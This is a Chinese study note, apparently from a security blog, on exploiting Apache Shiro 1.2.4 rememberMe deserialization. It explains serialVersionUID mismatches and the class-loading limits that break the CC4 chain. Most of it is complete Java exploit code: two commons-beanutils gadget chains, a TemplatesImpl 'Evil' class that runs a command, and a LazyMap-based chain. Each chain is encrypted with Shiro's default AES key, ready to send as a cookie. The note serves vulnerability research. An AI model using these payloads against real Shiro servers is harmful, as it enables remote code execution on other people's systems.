前言:調用鏈都是來自於phith0n的java代碼審計星球的知識點(感謝酒館師傅給的資料),一個是phith0n自己的,還有一個是里面一個成員說的,自己看了java漫談里面的shiro無cc依賴的cb鏈之后,寫下這篇筆記來記錄!
這篇筆記是上一篇的延續:https://www.cnblogs.com/zpchcbd/p/15023055.html
問題1:為什么yso的1.9.2在shiro-1.2.4中的commons-beanutils-1.8.3中無法進行利用?
我還以為就只能用在1.9.2,但是java漫談中在復現shiro反序列化的時候的cb依賴是1.8.3,同樣是可以進行利用,但是需要加以修改,原因在於serialVersionUID對類的驗證,所以1.9.2的利用鏈在1.8.3中同樣可以進行使用,我們只需要手工修改1.8.3的serialVersionUID在進行發送payload即可
然后自己就又有一個問題,那么1.9.2的利用鏈是否能在1.6.0進行使用,到時候自己需要驗證下!
更新2021-7-17
關於1.6.0是否能使用的問題,同樣可以去觀察serialVersionUID是否一樣,以及代碼的變動,我在360BugCloud中看到了一篇 沐白《Java反序列化漏洞原理及實戰運用》,這里感謝橫戈團隊分享的資源!
所有commons-beanutils版本的serialVersionUID
因為我這里問的是1.6.0能否使用的問題,那這里比較1.6.0和1.9.2的SUID,根據上面的圖可以看到是不行的。
什么是serialVersionUID
serialVersionUID:即序列化的版本號,適用於Java的序列化機制。
serialVersionUID在序列化通信時起的作用:
1、進行Java序列化操作類時,系統會把當前類的serialVersionUID寫到字節流當中
2、在反序列化時,JVM會把接收到的字節流中的serialVersionUID與本地相應實體類的serialVersionUID做比較,如果相同就認為一致則繼續進行反序列化,否則反序列化會異常退出(java.io.InvalidClassException),避免后續更大的隱患。
解決方法
這里的解決辦法就是在生成序列化的數據的時候,用對應的版本的包來進行生成,如果是Commons Beanutils 1.8.3
的話,那么這里pom包就換到1.8.3即可
回到主題,這里的主題是shiro的cookie反序列化的時候如果當前環境不依賴cc鏈只存在cb依賴的話(默認不依賴cc鏈只存在cb依賴的環境:spring-shiro)
那么該如何進行利用為話題進行討論,如下有兩種解決方法
java.lang.CaseInsensitiveComparator類
public class CommonsBeanutils1Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); // 替換
final PriorityQueue queue = new PriorityQueue(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
System.out.println(Base64.encodeBase64String(clazz.toBytecode()));
byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
java.util.Collections$ReverseComparator
public class CommonsBeanutils2Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());// 替換
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
System.out.println(Base64.encodeBase64String(clazz.toBytecode()));
byte[] payloads = new CommonsBeanutils2Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.println(ciphertext.toString());
}
}
演示環境
maven依賴,commons-beanutils為1.8.3的包
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
Evil類
public class Evil extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Evil() throws Exception {
super();
Runtime.getRuntime().exec("calc.exe");
}
}
通過上面其中一條利用鏈來進行運行,生成payload:
成功運行calc
,如下所示
利用鏈分析
我們正常的一個調用鏈是通過
問題2:當環境中存在commons-collection-4.0
依賴的時候,為什么同為commons-collection-4.0的cc2和cc8調用鏈在攻擊shiro中可以進行利用,但是cc4卻無法進行利用?
因為自己在測試的時候發現只有cc2和cc8可以進行利用,按照道理來說正常的話cc4應該也是可以的,我這里拿https://github.com/feihong-cs/ShiroExploit-Deprecated
這個工具來進行演示,如下所示,當前環境存在commons-collection-4.0
的依賴
這個問題的答復也來自java漫談的pdf中,作者說是因為 class.forname
加載的問題!
先來看下cc4的調用鏈,因為這些利用工具都是直接調用ysoserial中的cc4的模塊,所以這里就可以去看ysoserial中的cc4,構造代碼如下:
1、這里的templates使用的是TemplatesImpl類,看起來這個類很通用,因為在yso中可以看到cc2-4就一直使用這個模板進行攻擊,調用鏈有所不同,但是攻擊利用始終都是用這個類!
2、接着就是開始構造調用鏈,可以看到InstantiateTransformer,之前在cc3中學到過,這個類可以通過構造函數paramTypes,args來進行實例化對應的任意類
3、然后再是用ConstantTransformer來進行鏈式調用
4、觸發反序列化對象為PriorityQueue中的TransformingComparator
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
接着通過yso來生成cc4,調試界面直接報錯,內容如下
這里跟到org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55)
中去看下,內容如下,那么可以看到這里的報錯信息原因就是[[Lorg.apache.commons.collections4.Transformer;:
這個無法進行loadClass才導致的如下報錯
原因到底是為什么?那么這里就在return ClassUtils.forName(osc.getName());
下個斷點進行調試,看看其中的如何走的
如下圖所示就是在加載Transformer
的Class的時候
F7繼續跟進去,可以發現是這里clazz = cl.loadClass(fqcn);
加載失敗了,那么這個cl
是什么對象呢?WebappClassLoader類
shiro加載Class 最終調用的是Tomcat下的WebappClassLoader,該類會使用 Class.forName()
加載數組類,但是使用的ClassLoader是URLClassLoader,無法加載三方依賴jar包commons-collection-4.0.jar中的Transformer數組。導致shiro下無法直接使用commons-collection-4.0利用鏈,對於commons-collection-3.2.1利用鏈,如果依賴存在,但是無法利用,其原因也是一樣的
解決數組加載失敗的問題
這里可以通過TemplatesImpl類來進行構造解決
CommonsCollections4的非數組方式構造調用鏈:這里引入LazyMap和TiedMapEntry來作為反序列化紐帶,類似CommonsCollections6(commons-collection-3.2.1)利用鏈利用
public class CommonsCollection4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(tpl, "_name", "HelloTemplatesImpl");
setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<String, String>();
Map m = LazyMap.lazyMap(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, tpl);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(outerMap);
oos.close();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.println(ciphertext.toString());
}
}
對shiro進行發送payload,結果可以發現成功執行了
其實上面的這段調用鏈已經脫離了Commons Collections 4的利用鏈,更多的還是說明在shiro本身中實現的ClassUtils.forName(osc.getName())
對於數組形式的利用鏈還是不支持的,所以才會導致存在依賴但是無法進行利用
為什么shiro-spring中的cc4卻是可以的?
這里繼續開shiro-spring,shiro版本為1.2.4來進行演示
在spring中確實可以進行加載Class的